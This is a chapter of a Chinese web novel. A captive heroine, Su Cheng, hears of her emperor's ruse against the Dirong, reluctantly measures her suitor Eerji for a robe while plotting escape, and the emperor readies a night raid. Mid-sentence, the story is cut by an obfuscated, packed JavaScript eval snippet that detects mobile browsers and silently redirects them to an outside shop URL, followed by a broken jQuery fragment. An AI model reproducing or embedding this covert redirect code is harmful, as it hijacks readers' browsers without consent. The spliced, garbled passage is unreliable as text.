这下换覃姨叹气了,额尔吉虽然表面上什么都没说,可他对苏橙的看管和戒备都在暗中加强。
他在担心什么,所有人都知道。
面前的女子本就不属于这里,她现在也不知道该不该帮着额尔吉了,帮着他把苏橙留下来。
苏橙敏锐的窥见她眉间那一丝犹豫,半是埋怨半是撒娇,“我又不能离开,只是想知道一点关于家国的消息都不行吗?”
她眼睛睁的圆圆的,微微往下看的时候,十分有欺骗性,这个神情可怜兮兮的。
连覃姨看了都忍不住再心软三分。
最终没忍住告诉了她。
“轩辕国的皇帝为了立威,亲自率兵与狄戎交锋,可他却戏弄了狄戎军,还跟达兹大人有来往,扯出来好多陈年错事。”
轩辕珏跟达兹有来往?
苏橙没忍住挑了下眉,确定没搞错吗?
轩辕珏可是她看着长大的,他认识几个人她都知道。
平常课业政务繁忙至极,连自己看了都有点不忍心,怎么可能抽出空来跟达兹有联系。
这不胡扯呢!
可看覃姨的神色,怕是已经信了十成十。
也不知道轩辕珏怎么搞的,居然摆了这么大一道。
这小子学成了啊!
不用想都知道,四海之内肯定都传遍了。
借此事立威来震慑四方,坐稳帝位不说,还间接稳定了局势,打消了那些想动轩辕的人的念头。
他甚至都没有耗费一兵一卒,只是做了一场戏,就把狄戎军气的直跳脚。
苏橙好奇的试探,“狄戎王会信吗?”毕竟这手段在她看来真的挺拙劣的。
没有天时地利人和,根本达不到这个效果。
“忘了你不知道。”覃姨叹了口气,“王很愤怒,搜出来的证据又是那样的多,达兹大人也没有狡辩,只是恶狠狠的看着王,于是他就被处死了。”
什么!
苏橙直接从凳子上跳了起来,这一连串的连锁反应,环环紧扣。
居然还间接让狄戎折损了一员大将。
覃姨描述的画面有一定的夸张,毕竟她也没有亲眼看见。
她的丈夫当时在场,回来后才告诉她的。
“好啦。”覃姨拉她坐下,挑拣着首饰盒里的各式簪子在她发髻上比划着,“那些打打杀杀的事我们不要管,都是男人们要做的。”
苏橙也不想管啊,可这事关天下局势,还与轩辕珏有着莫大的联系。
她没办法不去想,根本就控制不住。
轩辕珏给了她好大一个惊喜,惊喜之余带着浓浓的惊吓和后怕。
他居然这么有胆量,也不知道他有没有考虑到失败的后果。
覃姨还在她耳边追问:“成婚那天,你想梳中原女子的发髻还是草原姑娘的发髻?”
她更想扮回男装。
这对她来说是无所谓的事,没什么区别。
“覃姨,还是你来定吧。”
她心里默默盘算,脑瓜子转到飞起。
既然两国已经开始交锋,那轩辕珏应该会找机会来救自己,她离原本的自由近了一步。
虽然中途考虑过跑路,也没成功,也不算光明正大。
要知道她在轩辕国可是手握实权,身居高位的丞相大人。
怎么可能去过那东躲西藏,被人追着找的生活。
她打定主意,还是先回轩辕国吧。
毕竟那个地方还算有点盼头。
“覃姨,他们都打起来了,这婚事还能成吗?”她尚不知道当下的局势,覃姨告诉她的已经是几天前的事情了。
覃姨还以为她是在担心,“你放心吧,肯定不会耽误你们的事,那轩辕军也并无打仗的意思,如今占了上风,已经班师回朝了。”
不可能,这不像轩辕珏的行事作风。
轩辕珏认定的事,一旦开始从不会半途而废,就像当初他自己提出要习武,寒冬腊月水都结冰的季节,他也绝不懈怠。
苏橙很快就想明白了,她要早做打算,最好的和最差的可能都要考虑到。
闪着狡黠的明亮眼睛眨了眨,视线落在一旁的绣框里。
苏橙把那里面放着的一身衣服拿了出来,对覃姨说:“这个衣服能不能留在这儿,我想比着样子给额尔吉也做一件。”
说到最后她眼神飘忽一下,又开始假扮害羞。
她以前扮演的可是纯纯的大爷们,何曾做过这等姿态,次次生硬又别扭。
幸好她找到了窍门,眼神别跟人对上,下巴往里面含些,最好在把脸侧过去一些,手上再加些小动作,就更像了。
这招屡试不爽,一听她说要给额尔吉做,覃姨一下子就答应了。
这件外袍,是她给大儿子做的,只差些衣摆上的针脚功夫,马上就做完了。
衣服通体玄色,花纹很简单,只有袖口和衣襟处用银线绣了萱草,可见其独特用意。
那是一个母亲对儿子无声的爱。
苏橙用手比划了下,这件衣服她穿稍微有些大,但加个腰带就能好很多。
是的,她在为轩辕珏来救她的那一刻做准备。
队友这么给力,成长的又这么迅速,她也不能拖后腿。
除了这些,还有柔纳里的守着她的汉子。
要想个办法,让他们放下对自己的戒备心。
算来算去,好像只有举办婚礼的那一天最有可能。
但那一天,盯着她的眼睛也是最多的。
舍不得孩子套不着狼,希望轩辕珏能继续给力。
覃姨带着她挑选了好多布料,好让她亲自去给额尔吉裁制衣服。
还趁苏橙没反应过来的时候,立刻喊人去找额尔吉,说有很重要的事情。
这种热情和积极,苏橙叹为观止。
直到软尺被塞进手心,后背被轻轻推了一下,苏橙朝前踉跄半步,又被额尔吉小心翼翼的接住。
一切宛若水到渠成般自然。
她抬首,亮晶晶的眼眸还带着懵然。
额尔吉却抿唇浅笑,眼底的欢喜和期待热切的快要溢出来。
他已经知道是什么事了。
苏橙居然要亲自给他量体裁衣。
不管在草原上,还是在中原,这种行为除了母亲和亲人,就只有心上人才会主动这样做。
这说明金环心里是接受他的,想要用这种方式告诉他,想要对他好。
苏橙并不知道他内心的一系列想法。
手指揪着软尺,有一下没一下的,快尴尬死了。
偏覃姨以为她在不好意思,言语中带着调侃:“金环这是害羞了。”
苏橙:“我没有。”只是有些尴尬,“关键是我也不会啊。”
她还真没干过这种伺候人的活计。
以往每次做衣服,都是宋恪言一手安排的,只等绣娘和裁缝铺老板上门就行了,其他的一概不用管。
她捏着软尺,手都不知道往哪搁,她还想把手缩回来。
覃姨眼疾手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068272|140655||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
快的摁住她,把她的手往额尔吉的腰上带。
还用语言指导她,“你把手从他的腰间穿过,然后把两端合在一起,做个记号就行了。”
苏橙别扭极了,尤其是额尔吉那炽热的眼神,一直在她身上落着,都快把她给烧化了。
苏橙手上忙活着,却一点都不敢抬头看。
她无法回应,也不敢回应。
额尔吉的感情大胆又热烈,很容易让女子沉沦。
可惜苏橙是个另类,又身负重任,怕是无法给他想要的答案了。
苏橙心不在焉,活干的也不利索,量完腰围量胸围,她每报出一个数字,覃姨就把它记下来。
苏橙又去测他的肩宽。
可他身量太高,苏橙要踮着脚才能够到。
她有些烦躁了,在心中吐槽,吃什么长大的,长这么高做什么!
上面的空气又不会比下面的更新鲜。
正当她腹诽时,额尔吉忽然蹲下了身子,让肩膀刚好处在她抬手就能够到的位置。
“你做什么啊?”她明知故问。
“这样你会方便些。”额尔吉笑了下,全是为她考虑的语气。
“不用,你站着我也能够得着。”
两人一来一往,在覃姨看来画面极其温馨和谐,也忍不住笑起来。
夫妻过日子,就该是这个样子的。
一想到额尔吉的后半生有人陪了,她就十分感慨。
这个孩子年少时十分孤僻,什么人都不理,孤单的生活了十几年,现在终于有人能陪着他了。
要裁剪的工作准备好了,苏橙收拢了东西就要往绣篮里塞。
“哎哎。”覃姨用胳膊肘碰了她一下,下巴朝桌子上的布料扬了扬。
苏橙并不清楚她的意思,还以为她喜欢,“这几匹布,看着还算不错,覃姨要是有喜欢的就选一些。”
“我不是这意思。”覃姨让她去瞧额尔吉,“你给自己的汉子做衣服,总该帮着他选选料子吧。”
这么麻烦?
苏橙本来就没打算干,不过是拿他当个幌子,可谎话已经说了,也不能收回来,只能硬着头皮继续往下。
她挑来挑去,选中一匹藏青色的布料,拿起来就在额尔吉身上瞎比划了几下。
自己满意的不得了,狠狠地点了点头。
额尔吉视线一直跟着她走,她问什么他都说好。
“好什么好。”覃姨指着那匹布,“这颜色太重了,像老爷子用的。”
额尔吉才不管那是几十岁的人用的,只要是金环给他做的,无论多丑多怪,他都喜欢。
这边婚礼筹备的很迅速,因为苏橙并没有什么特别的要求,额尔吉问什么她都说行。
沟通起来简直毫无问题。
看这进度,马上就能举办婚礼了。
另一边,轩辕珏也忙的脚不沾地。
沪水白日水流不算湍急,尚且能过人,可到了晚上,水位会上涨,流速也会比白天快一些,危险程度也会增大。
想要出其不意的夜袭,必须要做好万全的准备。
“寻到多少了。”轩辕珏揉着胀痛的太阳穴,想要缓解其不适感。
“回禀陛下,此地少雨,水牛极为少见,不过臣等发现了一种通体乌青的青牛,生的十分健壮,还很擅水。”
轩辕珏略一思索,便干脆下令:“有多少寻多少,用两倍的价钱把它们买下来。”
他们派出了一小队人马原路返回都城,营造出班师回朝假象。